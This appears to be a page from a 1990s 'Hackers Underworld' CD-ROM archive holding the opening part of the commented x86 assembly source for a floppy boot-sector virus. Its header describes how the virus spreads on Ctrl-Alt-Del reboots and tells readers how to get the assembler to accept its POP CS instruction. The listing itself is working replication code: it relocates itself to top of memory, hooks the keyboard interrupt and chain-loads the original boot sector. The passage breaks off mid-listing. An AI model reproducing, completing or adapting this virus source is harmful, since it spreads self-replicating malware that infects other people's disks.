home *** CD-ROM | disk | FTP | other *** search
/ Hackers Underworld 2: Forbidden Knowledge / Hackers Underworld 2: Forbidden Knowledge.iso / VIRUS / CPI2_9.TXT < prev    next >
Text File  |  1994-07-17  |  18KB  |  388 lines

  1. ;[2.9]
  2. ;-----------------------------------------------------------------------;
  3. ; This virus is of the "FLOPPY ONLY" variety.                           ;
  4. ; It replicates to the boot sector of a floppy disk and when it gains control  
  5. ; it will move itself to upper memory.  It redirects the keyboard       ;
  6. ; interrupt (INT 09H) to look for ALT-CTRL-DEL sequences at which time  ;
  7. ; it will attempt to infect any floppy it finds in drive A:.            ;
  8. ; It keeps the real boot sector at track 39, sector 8, head 0           ;
  9. ; It does not map this sector bad in the fat (unlike the Pakistani Brain)
  10. ; and should that area be used by a file, the virus                     ;
  11. ; will die.  It also contains no anti detection mechanisms as does the  ;
  12. ; BRAIN virus.  It apparently uses head 0, sector 8 and not head 1      ;
  13. ; sector 9 because this is common to all floppy formats both single     ;
  14. ; sided and double sided.  It does not contain any malevolent TROJAN    ; 
  15. ; HORSE code.  It does appear to contain a count of how many times it   ;
  16. ; has infected other diskettes although this is harmless and the count  ;
  17. ; is never accessed.                                                    ;
  18. ;                                                                       ;
  19. ; Things to note about this virus:                                      ;
  20. ; It can not only live through an ALT-CTRL-DEL reboot command, but this ;
  21. ; is its primary (only for that matter) means of reproduction to other  ;
  22. ; floppy diskettes.  The only way to remove it from an infected system  ;
  23. ; is to turn the machine off and reboot an uninfected copy of DOS.      ;
  24. ; It is even resident when no floppy is booted but BASIC is loaded      ;
  25. ; instead.  Then when ALT-CTRL-DEL is pressed from inside of BASIC,     ;
  26. ; it activates and infectes the floppy from which the user is           ;
  27. ; attempting to boot.                                                   ;
  28. ;                                                                       ;
  29. ; Also note that because of the POP CS command to pass control to       ;
  30. ; its self in upper memory, this virus does not to work on 80286        ;
  31. ; machines (because this is not a valid 80286 instruction).             ;
  32. ;                                                                       ;
  33. ; If your assembler will not allow the POP CS command to execute, replace;
  34. ; the POP CS command with an NOP and then assemble it, then debug that  ;
  35. ; part of the code and place POP CS in place of NOP at that section.    ;
  36. ;                                                                       ;
  37. ; The Norton Utilities can be used to identify infected diskettes by    ;
  38. ; looking at the boot sector and the DOS SYS utility can be used to     ;
  39. ; remove it (unlike the Pakistani Brain).                               ;
  40. ;-----------------------------------------------------------------------;
  41.                         ;
  42.     ORG  7C00H               ;
  43.                         ;
  44. TOS LABEL     WORD           ;TOP OF STACK
  45. ;-----------------------------------------------------------------------;
  46. ; 1. Find top of memory and copy ourself up there. (keeping same offset);
  47. ; 2. Save a copy of the first 32 interrupt vectors to top of memory too ;
  48. ; 3. Redirect int 9 (keyboard) to ourself in top of memory              ;
  49. ; 4. Jump to ourself at top of memory                                   ;
  50. ; 5. Load and execute REAL boot sector from track 40, head 0, sector 8  ;
  51. ;-----------------------------------------------------------------------;
  52. BEGIN:   CLI                 ;INITIALIZE STACK
  53.     XOR  AX,AX               ;
  54.     MOV  SS,AX               ;
  55.     MOV  SP,offset TOS       ;
  56.     STI                 ;
  57.                         ;
  58.     MOV  BX,0040H       ;ES = TOP OF MEMORY - (7C00H+512)
  59.     MOV  DS,BX               ;
  60.     MOV  AX,[0013H]          ;
  61.     MUL  BX             ;
  62.     SUB  AX,07E0H       ;   (7C00H+512)/16
  63.     MOV  ES,AX               ;
  64.                         ;
  65.     PUSH CS             ;DS = CS
  66.     POP  DS             ;
  67.                         ;
  68.     CMP  DI,3456H       ;IF THE VIRUS IS REBOOTING...
  69.     JNE  B_10           ;
  70.     DEC  Word Ptr [COUNTER_1]     ;...LOW&HI:COUNTER_1--
  71.                         ;
  72. B_10:    MOV  SI,SP     ;SP=7C00  ;COPY SELF TO TOP OF MEMORY
  73.     MOV  DI,SI               ;
  74.     MOV  CX,512              ;
  75.     CLD                 ;
  76.     REP  MOVSB               ;
  77.                         ;
  78.     MOV  SI,CX     ;CX=0          ;SAVE FIRST 32 INT VETOR ADDRESSES TO
  79.     MOV  DI,offset BEGIN - 128    ;   128 BYTES BELOW OUR HI CODE
  80.     MOV  CX,128              ;
  81.     REP  MOVSB               ;
  82.                         ;
  83.     CALL PUT_NEW_09          ;SAVE/REDIRECT INT 9 (KEYBOARD)
  84.                         ;
  85.     PUSH ES   ;ES=HI    ;   JUMP TO OUR HI CODE WITH
  86.     POP  CS
  87.                         ;
  88.     PUSH DS   ;DS=0     ;   ES = DS
  89.     POP  ES             ;
  90.                         ;
  91.     MOV  BX,SP          ;   SP=7C00  ;LOAD REAL BOOT SECTOR TO 0000:7C00
  92.     MOV  DX,CX          ;CX=0        ;DRIVE A: HEAD 0
  93.     MOV  CX,2708H       ;   TRACK 40, SECTOR 8
  94.     MOV  AX,0201H       ;   READ SECTOR
  95.     INT  13H            ;   (common to 8/9 sect. 1/2 sided!)
  96.     JB   $              ;   HANG IF ERROR
  97.                         ;
  98.     JMP  JMP_BOOT       ;JMP 0000:7C00
  99.                         ;
  100. ;-----------------------------------------------------------------------;
  101. ; SAVE THEN REDIRECT INT 9 VECTOR                                       ;
  102. ;                                                                       ;
  103. ; ON ENTRY:   DS = 0                                                    ;
  104. ;        ES = WHERE TO SAVE OLD_09 & (HI)                               ;
  105. ;             WHERE NEW_09 IS         (HI)                              ;
  106. ;-----------------------------------------------------------------------;
  107. PUT_NEW_09:                  ;
  108.     DEC  Word Ptr [0413H]    ;TOP OF MEMORY (0040:0013) -= 1024
  109.                         ;
  110.     MOV  SI,9*4              ;COPY INT 9 VECTOR TO
  111.     MOV  DI,offset OLD_09    ;   OLD_09 (IN OUR HI CODE!)
  112.     MOV  CX,0004             ;
  113.                         ;
  114.     CLI                 ;
  115.     REP  MOVSB               ;
  116.     MOV  Word Ptr [9*4],offset NEW_09
  117.     MOV  [(9*4)+2],ES        ;
  118.     STI                 ;
  119.                         ;
  120.     RET                 ;
  121.                         ;
  122. ;-----------------------------------------------------------------------;
  123. ; RESET KEYBOARD, TO ACKNOWLEDGE LAST CHAR                              ;
  124. ;-----------------------------------------------------------------------;
  125. ACK_KEYBD:                   ;
  126.     IN   AL,61H              ;RESET KEYBOARD THEN CONTINUE
  127.     MOV  AH,AL               ;
  128.     OR   AL,80H              ;
  129.     OUT  61H,AL              ;
  130.     XCHG AL,AH               ;
  131.     OUT  61H,AL              ;
  132.     JMP  RBOOT               ;
  133.                         ;
  134. ;-----------------------------------------------------------------------;
  135. ; DATA AREA WHICH IS NOT USED IN THIS VERSION                           ;
  136. ; REASON UNKNOWN                                                        ;
  137. ;-----------------------------------------------------------------------;
  138. TABLE    DB   27H,0,1,2      ;FORMAT INFORMATION FOR TRACK 39
  139.     DB   27H,0,2,2      ;   (CURRENTLY NOT USED)
  140.     DB   27H,0,3,2      ;
  141.     DB   27H,0,4,2      ;
  142.     DB   27H,0,5,2      ;
  143.     DB   27H,0,6,2      ;
  144.     DB   27H,0,7,2      ;
  145.     DB   27H,0,8,2      ;
  146.                         ;
  147. ;A7C9A   LABEL     BYTE           ;
  148.     DW   00024H              ;NOT USED
  149.     DB   0ADH           ;
  150.     DB   07CH           ;
  151.     DB   0A3H           ;
  152.     DW   00026H              ;
  153.                         ;
  154. ;L7CA1:                      ;
  155.     POP  CX             ;NOT USED
  156.     POP  DI             ;
  157.     POP  SI             ;
  158.     POP  ES             ;
  159.     POP  DS             ;
  160.     POP  AX             ;
  161.     POPF                ;
  162.     JMP  1111:1111      ;
  163.                         ;
  164. ;-----------------------------------------------------------